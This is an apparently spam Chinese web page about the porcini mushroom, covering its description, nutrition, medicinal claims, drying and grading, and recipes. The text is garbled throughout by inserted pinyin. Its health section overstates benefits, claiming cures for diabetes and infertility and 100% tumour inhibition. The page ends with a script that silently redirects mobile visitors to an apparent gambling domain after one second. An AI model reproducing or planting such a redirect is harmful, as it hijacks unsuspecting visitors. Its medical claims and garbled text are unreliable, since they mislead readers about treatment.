开心电玩城

  • 美味牛肝菌
  • 发布时间:2020-05-18

美味(wei)牛(niu)肝菌

1.jpg

美味(wei)牛肝(gan)菌又称大脚菇、白牛肝菌。子实体中(zhong)等至大型。菌(jun)(jun)盖扁半球形(xing)或(huo)稍(shao)平展,不(bu)(bu)粘,光滑(hua),边缘纯(chun),黄褐色(se)(se)(se)、土(tu)褐色(se)(se)(se)或(huo)赤(chi)褐色(se)(se)(se)。菌(jun)(jun)肉(rou)白色(se)(se)(se),厚,受伤后不(bu)(bu)变色(se)(se)(se)。菌(jun)(jun)管(guan)初期白色(se)(se)(se),后呈淡色(se)(se)(se),直生或(huo)近孪生,或(huo)在柄之周围凹(ao)陷。管(guan)口圆形(xing),基部(bu)稍(shao)膨大淡褐色(se)(se)(se)或(huo)淡黄褐色(se)(se)(se),内实。分布于中(zhong)国河(he)南、台湾、黑龙江、吉林(lin)、四(si)川、贵州、云南、西藏、内蒙古、福建等地区。可(ke)食用,是(shi)优(you)良野生食用菌(jun)(jun)。其菌(jun)(jun)肉(rou)厚而细软、味道(dao)鲜美。目前不(bu)(bu)能(neng)人(ren)工栽(zai)培子(zi)实体,但可(ke)利用菌(jun)(jun)丝进行(xing)深(shen)层发酵培养。

2.jpg


生长环境

生(sheng)长(zhang)(zhang)在600—1500m的(de)(de)(de)山(shan)区,属(shu)高温型菌(jun),菌(jun)丝生(sheng)长(zhang)(zhang)适温为23—28℃,一般(ban)7—9月生(sheng)长(zhang)(zhang)于高海(hai)拔的(de)(de)(de)针叶林(lin)与阔(kuo)叶林(lin)的(de)(de)(de)混(hun)交林(lin),菌(jun)丝生(sheng)长(zhang)(zhang)要求有散(san)射光,即七阴三(san)阳(yang)的(de)(de)(de)地方,在前期(qi)干旱(han)7、8月份晴雨相(xiang)间的(de)(de)(de)年份出菇(gu)多、生(sheng)长(zhang)(zhang)量大。

3.jpg

营养成分

1.jpg

热量:253.00千卡

  蛋白质:27.80克(ke)

  脂肪:1.60克

  碳水化合(he)物:53.30克

  美味牛肝菌(jun)

  美味牛(niu)肝菌

  膳食纤维:21.50克(ke)

  维生素(su)A:18.00微克

  胡萝(luo)卜素:108.00微克

  硫(liu)胺素:0.32毫(hao)克(ke)

  核黄素:1.72毫(hao)克(ke)

  尼克(ke)酸:43.08毫克(ke)

  维生素E:4.42毫克

  钙:2.00毫克

  磷:528.00毫克

  钠:9.10毫克

  镁(mei):47.00毫克

  铁:9.20毫克

  锌:5.80毫克

  硒:758.80微(wei)克

  铜(tong):1.19毫克(ke)

  锰:3.88毫克

  钾:1571.00毫克

  维生素B6:0.06毫克

  叶酸:124.40微克

  营养分(fen)析

牛(niu)肝菌(jun)不(bu)仅营(ying)养(yang)丰(feng)富,最(zui)重要的是烹调后口(kou)(kou)味(wei)异常鲜(xian)美(mei)(mei),是吃惯(guan)肉类之(zhi)(zhi)外的别样美(mei)(mei)味(wei),是真正不(bu)可多得的美(mei)(mei)味(wei)佳肴。以之(zhi)(zhi)烧炒,则成菜口(kou)(kou)感舒(shu)畅,味(wei)道(dao)鲜(xian)美(mei)(mei),用之(zhi)(zhi)煲汤,则菌(jun)香溢四座,香郁(yu)爽滑(hua),使完美(mei)(mei)口(kou)(kou)味(wei)、丰(feng)富营(ying)养(yang)与药用价值合而为(wei)一。

5.jpg

1、牛肝菌富含蛋白质、碳(tan)水化合物(wu)、维生素(su)及钙、磷、铁等矿物(wu)质;

  2、牛(niu)肝(gan)菌是珍稀(xi)菌类,香味独特(te)、营养丰(feng)富,有防病(bing)(bing)(bing)治病(bing)(bing)(bing)、强身健(jian)体的功(gong)能,特(te)别对(dui)糖尿病(bing)(bing)(bing)有很好的疗效(xiao);

  3、此(ci)外,其水提物对小白鼠(shu)肉瘤(liu)(liu)S-180的生长有阻(zu)抑作用,对肉瘤(liu)(liu)S-180的抑制率为100%,同(tong)时还(hai)有抗流感(gan)(gan)病毒、防治感(gan)(gan)冒的作用,是中(zhong)国远销欧美的著(zhu)名食用菌。食疗作用

  牛肝菌具(ju)有祛风散寒、舒筋活络的功效;中医认为(wei)对贫血、体虚、头晕、耳鸣(ming)有功效。

  医(yi)疗(liao)作用

  美味牛肝菌具(ju)有清(qing)热除烦、追(zhui)风散(san)寒(han)、养血活血、补虚提神的(de)(de)功效(xiao),有预防感冒的(de)(de)作(zuo)用,可治疗(liao)腰腿疼痛、手足麻木(mu)和不孕(yun)症。牛肝菌营养丰富,是世界著名的(de)(de)优质(zhi)食用菌,尤以西欧国家更为(wei)推崇喜爱。

  美味牛(niu)肝(gan)菌是(shi)世界著名的(de)食(shi)用菌,可治疗手足麻(ma)木、腰腿疼痛和(he)不孕症(zheng),特别神(shen)奇的(de)是(shi)牛(niu)肝(gan)菌具有极强(qiang)的(de)抗(kang)流感和(he)预防感冒的(de)功(gong)效。

  如何辨别(bie)

  野生牛(niu)(niu)(niu)肝(gan)菌(jun)(jun)(jun)种(zhong)(zhong)类较(jiao)多(duo),目前国内已(yi)发(fa)现(xian)(xian)有(you)20多(duo)个(ge)品(pin)种(zhong)(zhong)可食(shi)用,主(zhu)要有(you)华(hua)美(mei)牛(niu)(niu)(niu)肝(gan)菌(jun)(jun)(jun)、美(mei)味牛(niu)(niu)(niu)肝(gan)菌(jun)(jun)(jun)等品(pin)种(zhong)(zhong)可供食(shi)用与(yu)加(jia)工(gong)。华(hua)美(mei)牛(niu)(niu)(niu)肝(gan)菌(jun)(jun)(jun)和美(mei)味牛(niu)(niu)(niu)肝(gan)菌(jun)(jun)(jun)的主(zhu)要特征均为(wei)菌(jun)(jun)(jun)朵单生、较(jiao)大、肥腴肉(rou)厚,菌(jun)(jun)(jun)柄(bing)粗壮,菌(jun)(jun)(jun)盖(gai)伞(san)型(xing),菌(jun)(jun)(jun)盖(gai)和菌(jun)(jun)(jun)柄(bing)为(wei)赤褐(he)色或黄(huang)褐(he)色,菌(jun)(jun)(jun)体受伤(shang)或切开不(bu)变色,干品(pin)为(wei)白色至黄(huang)褐(he)色,干品(pin)香气浓(nong)厚、纯正。红(hong)网牛(niu)(niu)(niu)肝(gan)菌(jun)(jun)(jun)等3个(ge)品(pin)种(zhong)(zhong)有(you)一定(ding)毒性,采摘(zhai)时注意(yi)识别,以免误食(shi)中毒。7—9月(yue),当时晴(qing)、时雨天(tian)气出现(xian)(xian)后(hou)(hou)4—6天(tian),即可上山采摘(zhai),以晴(qing)天(tian)露水干后(hou)(hou)采摘(zhai)为(wei)最好(hao),阴雨天(tian)采摘(zhai)较(jiao)差(cha)。

  加(jia)工(gong)技术(shu)

  采后处理

  选菇:野外采摘的(de)牛肝菌(jun)有时会混有杂菌(jun)、杂物,加工前要仔(zi)细(xi)精选,将不同(tong)种类(lei)的(de)牛肝菌(jun)进行分(fen)类(lei),分(fen)别加工,以保(bao)证加工产品的(de)纯正(zheng)。

  摊晾(liang)(liang):雨天(tian)或阴天(tian)采(cai)摘的菇本含(han)水量高,要(yao)在通(tong)风(feng)干燥处(chu)摊晾(liang)(liang)l—5小(xiao)时,以降低菇体水分(fen)。采(cai)后不能及时加工的牛(niu)肝(gan)菌也应在通(tong)风(feng)处(chu)滩晾(liang)(liang)。

  去杂:用不锈钢刀(dao)片削去菌柄(bing)基部的泥土、杂质,去除树(shu)枝、落叶、毛(mao)草等杂物,提(ti)高(gao)产品(pin)的净度。

  分类(lei):按牛肝菌(jun)的(de)种类(lei)、菌(jun)的(de)大小(xiao)、菌(jun)伞(san)的(de)开(kai)放(fang)程度进行分类(lei),可分为(wei)幼菇(gu)、半(ban)开(kai)伞(san)菇(gu)、开(kai)伞(san)菇(gu)等类(lei)别,分类(lei)切片加(jia)工。

  切片

  用不锈(xiu)(xiu)钢(gang)刀(dao)(dao)片(pian)(pian)(pian)(pian)沿(yan)菌柄(bing)方向纵(zong)切成片(pian)(pian)(pian)(pian),切片(pian)(pian)(pian)(pian)要(yao)求厚薄均(jun)匀,片(pian)(pian)(pian)(pian)厚1厘米(mi)左(zuo)右,尽量使菌盖和菌柄(bing)连在(zai)一起,切下的(de)边角碎料也可一同干制(zhi)。切片(pian)(pian)(pian)(pian)时(shi)不宜用生锈(xiu)(xiu)的(de)菜刀(dao)(dao),否(fou)则会(hui)影响干片(pian)(pian)(pian)(pian)的(de)色泽,降低品质。

  摆片

  牛肝菌(jun)(jun)切片(pian)后(hou)要及时(shi)脱水干(gan)(gan)制,干(gan)(gan)制前必须合理摆(bai)片(pian),应按菌(jun)(jun)片(pian)的(de)大小、厚薄、干(gan)(gan)湿程度分别摆(bai)放(fang)。晾(liang)晒时(shi)可将菌(jun)(jun)片(pian)放(fang)在(zai)竹席、窗(chuang)纱或干(gan)(gan)净的(de)晒坪(ping)上(shang)(shang);烘干(gan)(gan)时(shi)将菌(jun)(jun)片(pian)排(pai)放(fang)在(zai)烘筛(shai)上(shang)(shang),摆(bai)片(pian)时(shi)切忌(ji)堆积、重(zhong)叠摆(bai)。

  脱水干制(zhi)

  烘(hong)(hong)(hong)烤(kao)(kao)(kao)(kao)(kao)(kao)脱水(shui):菌(jun)片烘(hong)(hong)(hong)烤(kao)(kao)(kao)(kao)(kao)(kao)可(ke)用(yong)烘(hong)(hong)(hong)干机(ji)或烘(hong)(hong)(hong)房,量(liang)(liang)少(shao)也可(ke)用(yong)红外线灯(deng)或无烟(yan)木(mu)炭(tan)进(jin)行(xing)烘(hong)(hong)(hong)烤(kao)(kao)(kao)(kao)(kao)(kao)。烘(hong)(hong)(hong)烤(kao)(kao)(kao)(kao)(kao)(kao)起(qi)始(shi)温(wen)(wen)度为(wei)35℃,以后(hou)每小(xiao)时(shi)(shi)升高1℃,升到(dao)60℃持续1小(xiao)时(shi)(shi)后(hou),又(you)逐(zhu)渐将温(wen)(wen)度降(jiang)至50℃。烘(hong)(hong)(hong)烤(kao)(kao)(kao)(kao)(kao)(kao)前期(qi)应启动通风窗(chuang),烘(hong)(hong)(hong)烤(kao)(kao)(kao)(kao)(kao)(kao)过(guo)程中通风窗(chuang)逐(zhu)渐缩(suo)小(xiao)直至关闭,一(yi)般需烘(hong)(hong)(hong)烤(kao)(kao)(kao)(kao)(kao)(kao)10小(xiao)时(shi)(shi)左右,采取一(yi)次性(xing)烘(hong)(hong)(hong)干,烘(hong)(hong)(hong)至菌(jun)片含水(shui)量(liang)(liang)降(jiang)至于12%以下为(wei)止。鲜片含水(shui)量(liang)(liang)大时(shi)(shi),温(wen)(wen)度递(di)增的速度应放慢(man)些,骤然升温(wen)(wen)或温(wen)(wen)度过(guo)高会造成菌(jun)片软(ruan)熟(shu)或焦脆。烘(hong)(hong)(hong)烤(kao)(kao)(kao)(kao)(kao)(kao)期(qi)间应根据菌(jun)片的干燥(zao)程度,适(shi)当调换筛位,使(shi)菌(jun)片均匀脱水(shui)。

  晾晒(shai)(shai)(shai)脱水:晴天(tian)上午摆片干晒(shai)(shai)(shai),干晒(shai)(shai)(shai)时(shi)要(yao)随(sui)时(shi)翻动菌(jun)片,使菌(jun)片均匀接受(shou)阳(yang)光照(zhao)射(she),在(zai)太阳(yang)落山前收(shou)回摊放在(zai)室内(nei)。菌(jun)片不能在(zai)室外过夜,粘(zhan)附露水会导致(zhi)菌(jun)片变黑,也(ye)不允(yun)许晒(shai)(shai)(shai)至中途遭受(shou)雨(yu)淋,最好在(zai)当天(tian)晒(shai)(shai)(shai)干。

  分级与包装

  烘干或晒干的美味牛肝菌(jun)(jun)菌(jun)(jun)片经回软(ruan)后,根(gen)据牛肝菌(jun)(jun)菌(jun)(jun)片的色泽、菌(jun)(jun)盖(gai)与菌(jun)(jun)柄(bing)是否相连等(deng)(deng)外(wai)观特征进行分(fen)(fen):级(ji)包(bao)装(zhuang)。出口(kou)外(wai)销产(chan)品(pin)可分(fen)(fen)为4个等(deng)(deng)级(ji),一级(ji)品(pin)要求菌(jun)(jun)片白色、菌(jun)(jun)盖(gai)与:菌(jun)(jun)柄(bing)相连,无(wu)(wu)(wu)(wu)碎(sui)(sui)(sui)片、无(wu)(wu)(wu)(wu)霉变(bian)和(he)(he)虫(chong)(chong)(chong)蛀(zhu)(zhu);二级(ji)品(pin)要求菌(jun)(jun)片浅黄(huang)色,菌(jun)(jun)盖(gai)与菌(jun)(jun):柄(bing)相连,无(wu)(wu)(wu)(wu)破(po)碎(sui)(sui)(sui)、无(wu)(wu)(wu)(wu)霉变(bian)和(he)(he)虫(chong)(chong)(chong)蛀(zhu)(zhu);三级(ji)品(pin)要求菌(jun)(jun)片黄(huang)色至褐(he)色,菌(jun)(jun)柄(bing)与:菌(jun)(jun)盖(gai)相连,无(wu)(wu)(wu)(wu)破(po)碎(sui)(sui)(sui)、无(wu)(wu)(wu)(wu)霉变(bian)和(he)(he)虫(chong)(chong)(chong)蛀(zhu)(zhu);四级(ji)品(pin)要求菌(jun)(jun)片深黄(huang)至深褐(he)色,允许(xu)部分(fen)(fen)菌(jun)(jun)盖(gai)与菌(jun)(jun)柄(bing)分(fen)(fen)离,有破(po)碎(sui)(sui)(sui)、无(wu)(wu)(wu)(wu)霉变(bian)和(he)(he)虫(chong)(chong)(chong)蛀(zhu)(zhu),其余(yu)为等(deng)(deng)外(wai)品(pin)。菌(jun)(jun)片分(fen)(fen)级(ji)后先用食(shi)品(pin)袋(dai)封装(zhuang),再用纸箱包(bao)装(zhuang),运输过(guo)程要轻拿轻放(fang),严禁挤压,贮藏必须(xu)选(xuan)择荫(yin)凉、通风、干燥(zao)和(he)(he)无(wu)(wu)(wu)(wu)虫(chong)(chong)(chong)鼠危(wei)害的库房。

  常见食谱

  野(ye)山菌火(huo)锅

  主料:牛肉(后腿)200克(ke)(ke),牛骨500克(ke)(ke),香(xiang)菇(干)100克(ke)(ke),柳(liu)松(song)茸100克(ke)(ke),猴头菇100克(ke)(ke),美味牛肝菌(干)100克(ke)(ke),凤(feng)尾菇100克(ke)(ke),梨200克(ke)(ke),枸杞子1克(ke)(ke),栗子(鲜)5克(ke)(ke),枣(干)10克(ke)(ke),核(he)桃20克(ke)(ke),松(song)子仁15克(ke)(ke)

  调料:大蒜(白皮)8克(ke)(ke)(ke),姜10克(ke)(ke)(ke),盐20克(ke)(ke)(ke),酱(jiang)油40克(ke)(ke)(ke),香油5克(ke)(ke)(ke),大葱15克(ke)(ke)(ke),胡(hu)椒(jiao)粉(fen)2克(ke)(ke)(ke)

  做法:⑴牛大骨和腿肉(rou)浸泡30分钟,去除(chu)血水后(hou)放入(ru)炖(dun)锅;⑵加水、蒜头(tou)、生姜、大葱、枸杞、栗子(zi)(zi)仁(ren)、红枣和胡椒粒一同熬成(cheng)高(gao)汤(tang);⑶肉(rou)切成(cheng)薄片备用(yong)(yong);⑷用(yong)(yong)勺子(zi)(zi)捞掉浮在(zai)汤(tang)表面(mian)的(de)一层(ceng)油脂;⑸所有菌(jun)类氽烫后(hou)浸泡在(zai)水中,捞出沥干,撕成(cheng)易(yi)食用(yong)(yong)的(de)大小;⑹放入(ru)蒜泥(8克(ke))、盐(15克(ke))、酱(jiang)油(5克(ke))、香油(30克(ke))、葱花、胡椒粉搅拌(ban)入(ru)味;⑺梨子(zi)(zi)和胡萝卜削皮(pi),分别发成(cheng)5厘米长的(de)块(kuai);⑻将准备好的(de)肉(rou)片、菌(jun)类、梨子(zi)(zi)、胡萝卜等(deng)材(cai)料整齐地(di)排(pai)列在(zai)火(huo)锅中;⑼然后(hou)倒(dao)入(ru)高(gao)汤(tang),就可以围炉享用(yong)(yong)了。

  野山菌火锅的制作(zuo)要诀(jue):蘸(zhan)酱(jiang)作(zuo)料:盐5克、酱(jiang)油30克、芝麻15克、香油、葱花。

  健(jian)康提(ti)示(shi):野山菌含(han)有丰富(fu)的多糖、蛋白(bai)质和人(ren)体(ti)必须的8种氨(an)基酸、具(ju)有帮助(zhu)消(xiao)化、补益脾胃、提(ti)高人(ren)体(ti)免(mian)疫(yi)力的功效。

  食物相克:枸杞子:枸杞一般不宜(yi)(yi)和过多(duo)(duo)茶性温(wen)热(re)的(de)补(bu)品如桂圆、红参、大(da)枣(zao)等共(gong)同食用。核(he)桃(tao)(tao):核(he)桃(tao)(tao)不能(neng)与野鸡肉一起食用,肺(fei)炎、支气(qi)管(guan)扩张等患者(zhe)不易食之。核(he)桃(tao)(tao)不宜(yi)(yi)与酒(jiu)同食。据宋代马志(zhi)《开宝本草》记(ji)载:“饮(yin)酒(jiu)食核(he)桃(tao)(tao)令人咯血”。可能(neng)是(shi)因为核(he)桃(tao)(tao)性热(re),多(duo)(duo)食生痰动火,而白(bai)酒(jiu)也属甘辛大(da)热(re),二者(zhe)同食,易致(zhi)血热(re)的(de)缘故。特别是(shi)有咯血宿(su)疾的(de)人,更应禁忌(ji)。如支气(qi)管(guan)扩张,肺(fei)结核(he)患者(zhe),饮(yin)白(bai)酒(jiu)即(ji)可引起咯血,不与核(he)桃(tao)(tao)共(gong)食,亦可致(zhi)病。

  一品富贵肘

  材(cai)料:猪肘500克(ke)(ke)(ke),虾仁50克(ke)(ke)(ke),枣(干(gan))25克(ke)(ke)(ke),西兰花25克(ke)(ke)(ke),美味(wei)牛肝(gan)菌(干(gan))25克(ke)(ke)(ke),植物油50克(ke)(ke)(ke),老(lao)抽10克(ke)(ke)(ke),冰(bing)糖(tang)10克(ke)(ke)(ke),胡椒粉(fen)(fen)5克(ke)(ke)(ke),盐5克(ke)(ke)(ke),淀(dian)粉(fen)(fen)(玉米)10克(ke)(ke)(ke),姜(jiang)5克(ke)(ke)(ke)

  做法:⑴将猪肘(zhou)肉(rou)(rou)刮洗(xi)干净(jing),下(xia)(xia)入(ru)沸水锅(guo)内(nei)(nei)氽一下(xia)(xia),捞(lao)出(chu)(chu)控水,均(jun)匀(yun)抹(mo)上(shang)老抽;⑵牛肝菌、鸡(ji)腿(tui)菇(gu)洗(xi)净(jing)切(qie)均(jun)切(qie)成片(pian)(pian);⑶虾仁洗(xi)净(jing);⑷西兰(lan)花洗(xi)净(jing)撕(si)成小(xiao)朵;⑸炒锅(guo)注油烧(shao)热(re)(re),下(xia)(xia)入(ru)猪肘(zhou)肉(rou)(rou)炸至(zhi)皱皮呈金黄(huang)色,捞(lao)出(chu)(chu)控油;⑹炒锅(guo)注油烧(shao)热(re)(re),下(xia)(xia)入(ru)姜片(pian)(pian)爆香,倒入(ru)鲜汤,加入(ru)精盐(yan)、胡(hu)椒粉、冰糖,放入(ru)猪肘(zhou)肉(rou)(rou)烧(shao)至(zhi)软烂;⑺锅(guo)内(nei)(nei)放入(ru)牛肝菌、鸡(ji)腿(tui)菇(gu)、红枣(zao)煮(zhu)片(pian)(pian)刻,均(jun)捞(lao)出(chu)(chu)装碗,上(shang)锅(guo)蒸约(yue)40分钟取(qu)出(chu)(chu),滗出(chu)(chu)原汁(zhi)(zhi),翻扣(kou)盘内(nei)(nei);⑻将虾仁、西兰(lan)花下(xia)(xia)入(ru)开水锅(guo)内(nei)(nei)氽一下(xia)(xia),码在猪肘(zhou)上(shang)及盘周围;⑼原汁(zhi)(zhi)入(ru)锅(guo)烧(shao)开,用湿(shi)淀(dian)粉勾芡,浇在猪肘(zhou)肉(rou)(rou)上(shang)即可。

  食(shi)物(wu)相(xiang)克:猪肘、猪肉不(bu)宜与乌(wu)梅、甘草(cao)、鲫(ji)鱼(yu)(yu)、虾(xia)、鸽(ge)肉、田螺、杏仁、驴(lv)肉、羊(yang)肝、香菜、甲鱼(yu)(yu)、菱(ling)角(jiao)、荞麦、鹌鹑肉、牛肉同食(shi)。食(shi)用(yong)猪肉后不(bu)宜大量饮茶。虾(xia)仁:虾(xia)忌(ji)与某些水(shui)果(guo)同吃(chi)。虾(xia)含(han)(han)有比较丰(feng)富的(de)蛋白(bai)质(zhi)和(he)钙等营养(yang)物(wu)质(zhi)。如果(guo)把它们与含(han)(han)有鞣酸(suan)(suan)的(de)水(shui)果(guo),如葡萄(tao)、石(shi)榴、山楂、柿子等同食(shi),不(bu)仅会降低(di)蛋白(bai)质(zhi)的(de)营养(yang)价值,而且鞣酸(suan)(suan)和(he)钙离(li)子结合形成不(bu)溶性结合物(wu)刺激肠(chang)胃,引(yin)起人(ren)体不(bu)适,出现呕吐、头晕、恶心和(he)腹痛腹泻(xie)等症状。海鲜与这(zhei)些水(shui)果(guo)同吃(chi)至少(shao)应间隔2小时。

  八珍豆腐煲

  材料:豆(dou)腐(南)500克(ke)(ke)(ke),柿子椒(jiao)15克(ke)(ke)(ke),牛蹄筋(泡发)30克(ke)(ke)(ke),叉烧肉15克(ke)(ke)(ke),鸡(ji)胸脯肉20克(ke)(ke)(ke),虾仁15克(ke)(ke)(ke),鱿鱼(鲜)10克(ke)(ke)(ke),胡(hu)萝卜5克(ke)(ke)(ke),鸡(ji)蛋清30克(ke)(ke)(ke),美(mei)味牛肝(gan)菌(干)20克(ke)(ke)(ke),姜10克(ke)(ke)(ke),大(da)葱15克(ke)(ke)(ke),大(da)蒜(白皮)5克(ke)(ke)(ke),料酒20克(ke)(ke)(ke),生抽10克(ke)(ke)(ke),蚝(hao)油(you)15克(ke)(ke)(ke),盐(yan)7克(ke)(ke)(ke),胡(hu)椒(jiao)粉5克(ke)(ke)(ke),香油(you)2克(ke)(ke)(ke)

  做法:⑴叉(cha)烧(shao)(shao)、鸡脯肉(rou)切片(pian)(pian);⑵牛(niu)(niu)蹄筋和牛(niu)(niu)肝菌(jun)均切小块;⑶鸡蛋清打(da)散;⑷豆(dou)腐切薄片(pian)(pian);⑸葱(cong)蒜去(qu)皮拍烂;⑹柿子椒(jiao)、胡萝(luo)卜切片(pian)(pian)备(bei)用;⑺鱿鱼(yu)、虾(xia)仁用沸水(shui)(shui)烫过,鱿鱼(yu)切丁、虾(xia)仁去(qu)壳后挑去(qu)泥肠;⑻烫熟生菜、胡萝(luo)卜放入(ru)(ru)砂煲(bao)内作(zuo)为垫底(di)菜;⑼炒锅(guo)烧(shao)(shao)热油(you),爆香葱(cong)、姜、蒜,煎香豆(dou)腐片(pian)(pian);⑽再(zai)加(jia)(jia)(jia)入(ru)(ru)高汤及少(shao)许(xu)盐(yan),加(jia)(jia)(jia)酒20克,煮2分(fen)钟;⑾再(zai)放入(ru)(ru)鸡脯肉(rou)、叉(cha)烧(shao)(shao)煮熟后倒入(ru)(ru)砂煲(bao)内的生菜上;⑿其余材料(liao)和姜、大葱(cong)、蒜放入(ru)(ru)砂煲(bao)大火煮至汁浓汤稠;⒀再(zai)加(jia)(jia)(jia)少(shao)许(xu)水(shui)(shui)淀粉(fen)(fen)勾芡,淋入(ru)(ru)料(liao)酒、生抽(chou)、蚝(hao)油(you)、盐(yan)、胡椒(jiao)粉(fen)(fen)、香油(you)即可。制作(zuo)要(yao)诀:⑴如果事先经(jing)过油(you)炸、锅(guo)煎、氽烫等加(jia)(jia)(jia)工程序,就不会使豆(dou)腐里的豆(dou)汁生味含(han)在菜里,也(ye)不会一加(jia)(jia)(jia)热就出水(shui)(shui),从而破(po)坏菜品的浓稠度了;⑵要(yao)买纤维组织细密、肉(rou)质细嫩的牛(niu)(niu)里脊肉(rou),肉(rou)片(pian)(pian)在腌拌好后再(zai)加(jia)(jia)(jia)少(shao)许(xu)色拉(la)油(you),入(ru)(ru)煲(bao)烹调时就会滑嫩。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();